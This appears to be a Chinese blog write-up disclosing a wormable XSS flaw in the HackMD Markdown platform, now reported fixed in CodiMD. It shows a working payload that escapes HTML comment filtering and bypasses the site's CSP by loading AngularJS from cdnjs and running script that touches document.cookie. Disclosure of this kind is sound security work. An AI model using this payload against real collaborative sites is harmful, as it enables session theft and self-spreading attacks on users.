HackMD上的可蠕虫化XSS漏洞分析与利用

本文详细分析了HackMD平台上一个有趣的XSS漏洞,该漏洞可通过注释标签属性逃逸和CSP策略绕过实现蠕虫式传播,并提供了完整的漏洞利用代码。

HackMD上的可蠕虫化XSS漏洞

在Web安全领域,我通常更偏爱服务器端漏洞而非客户端漏洞(当然能直接获取shell的客户端漏洞除外XD)。但这次发现的XSS漏洞确实有些特别,因此决定分享这个有趣的发现。

漏洞背景

HackMD是一款由台湾开发者打造的Markdown协作平台,被COSCUP、g0v、HITCON等知名研讨会用作官方共笔平台,甚至还是Ethereum的协作平台。其开源代码在GitHub上获得了4500多颗星。

漏洞成因

漏洞位于HackMD前端渲染Markdown时的XSS防御机制中。平台使用npm/xss库进行防护,但在处理HTML注释标签时存在缺陷:

1
2
3
4
5
onIgnoreTag: function (tag, html, options) {
    if (tag === '!--') {
        return html  // 不过滤注释属性
    }
}

通过构造特殊注释标签可绕过过滤:

1
<!-- foo="bar--> <s>Hi</s>" -->

CSP绕过

HackMD实施了严格的内容安全策略(CSP),但允许加载cdnjs.cloudflare.com的脚本。利用AngularJS库可以轻松绕过:

1
2
3
4
5
6
7
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>
//sssss" -->

漏洞影响

当攻击者与受害者同时编辑同一份文档时,可对所有查看者实施攻击。该漏洞已在最新版CodiMD中修复。


comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计